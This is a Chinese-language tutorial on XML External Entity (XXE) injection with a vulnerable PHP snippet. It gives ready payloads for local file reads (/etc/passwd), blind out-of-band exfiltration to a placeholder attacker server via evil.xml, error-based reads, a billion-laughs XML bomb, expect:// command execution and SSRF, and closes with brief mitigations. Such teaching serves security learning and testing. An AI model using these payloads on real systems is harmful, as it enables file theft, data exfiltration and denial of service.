XXE:全称为XML Enternal Entity Injection,中文名称:XML外部实体注入。
漏洞成因:解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。
特征:在HTTP的Request报文出现一下请求报文,即表明此时是采用XML进行数据传输,就可以测试是否存在XML漏洞。
Content-type:text/xml application/xml
简单了解XML:
语法:
结构:
XML的实体引用:
文档类型定义(DTD):可以合法的XML文档构建模块,可以被声明在XML的文档中,也可以作为一个外部的引用。这里也就是XXE存在的地方。
DTD文档的三种格式:
- 1.内部DTD文档
- <!DOCTYPE 根元素[定义内容]>
-
- 2.外部DTD文档
- <!DOCTYPE 根元素 SYSTEM "DTD文件路径">
-
- 3.内外部DTD文档结合
- <!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
-
内部实体几乎没有什么利用价值
- <!ENTITY 实体名称 "实体的值">
-
- 例如:
- <!DOCTYPE foo [
- <!ELEMENT foo ANY >
- <!ENTITY xxe "hello">
- ]>
- <foo>&xxe;</foo>
-
- 有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,
- 外部实体的引用可以利用如下协议
- file:///path/to/file.ext
- http://url/file.ext
- php://filter/read=convert.base64-encode/resource=conf.php
-
-
- 例如:
- <!DOCTYPE foo [
- <!ELEMENT foo ANY >
- <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
- %xxe;
- ]>
- <foo>&evil;</foo>
-
- 外部evil.dtd中的内容
- <!ENTITY evil SYSTEM “file:///d:/1.txt” >
-
%xxe执行后会加载外部实体 evil.dtd 并执行,得到的结果会放在<foo></foo>中。
XXE和SQL注入的攻击方法也有一点相似,也分有回显和没有回显
有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为blind xxe(类似于布尔盲注、时间盲注),可以使用外带数据(OOB)通道提取数据
有回显测试源码:
- <?php
- $xml=simplexml_load_string($_GET['xml']);
- print_r((string)$xml);//有回显
- ?>
-
simple_load_string解析接收过来的XML代码
payload:
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE root [<!ENTITY file SYSTEM "file:///D://1.txt">]>
- <root>&file;</root>
-
无回显的文件读取可以通过blind XXE方法加上外带数据通道(ooB)来提取数据
先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器来读取数据。
虽然无法直接查看文件内容,但我们仍然可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。
paylaod:
- <?xml version="1.0"?>
- <!DOCTYPE test[
- <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
- <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/evil.xml">
- %dtd;
- %send;
- ]>
-
evil.xml
- <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/?content=%file;'>"> %payload;
- //%号要进行实体编码成%
-
先 %dtd 请求远程服务器(攻击机)上的 evil.xml,然后 %payload 调用了 %file ,%file 获取对方服务器上的敏感文件,最后替换 %send,数据被发送到我们远程的服务器,就实现了数据的外带
有两种无回显的模板可以参考:
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE data [
- <!ENTITY % file SYSTEM "file:///c://test/1.txt">
- <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
- %dtd; %all;
- ]>
- <value>&send;</value>
-
- evil.xml文件内容为
- <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
-
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE root [
- <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
- <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
- %dtd;
- %send;
- ]>
- <root></root>
-
- evil.xml文件内容为:
- <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;
-
如果目标有防火墙等设备,阻止了对外连接,可以采用基于错误回显的XXE。这种方式最流行的一种就是加载本地的DTD文件。
- <?xml version="1.0" ?>
- <!DOCTYPE messege [
- <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/Websphere/AppServer/properties/sip-app10.dtd">
- <!ENTITY % condition'aaa)>
- <!ENTITY %file SYSTEM "file:///etc/passwd">SYSTEM '<!ENTITY % eval "
- <!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
- %eval;
- %error;
- <!ENTITY aa (bb'>
- %local_dtd;
- ]>
- <message>any text</message>
-
/opt/IBM/Websphere/AppServer/properties/sip-app10.dtd 是websphere上默认存在的dtd,可以通过加载它触发报错返回读取文件的内容。
常见的XML炸弹:当XML解析器尝试解析该文件时,由于DTD的定义指数级展开,这个1K不到的文件会占用到3G的内存。
- <?xml version="1.0"?>
- <!DOCTYPE lolz [
- <!ENTITY lol "lol">
- <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
- <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
- <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
- <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
- <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
- <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
- <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
- <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
- ]>
- <lolz>&lol9;</lolz>
在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除。搬运师傅们的代码以供参考
- <?php
- $xml = <<<EOF
- <?xml version = "1.0"?>
- <!DOCTYPE ANY [
- <!ENTITY f SYSTEM "except://ls">
- ]>
- <x>&f;</x>
- EOF;
- $data = simplexml_load_string($xml);
- print_r($data);
- ?>
-
paylaod:
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xxe [
- <!ELEMENT name ANY>
- <!ENTITY xxe SYSTEM "expect://ifconfig">
- ]>
- <root><name>&xxe;</name></root>
SSRF的触发点通常是在ENTITY实体中
paylaod:
- <?xml version="1.0" ?>
- <!DOCTYPE ANY [
- <!ENTITY % ssrf SYSTEM "http://ip:port">
- %ssrf;
- ]>
XXE漏洞归根结底在于XML文档解析引入外部实体,禁止加载外部实体。
使用安全的libxml依赖库,版本在2.9以上的版本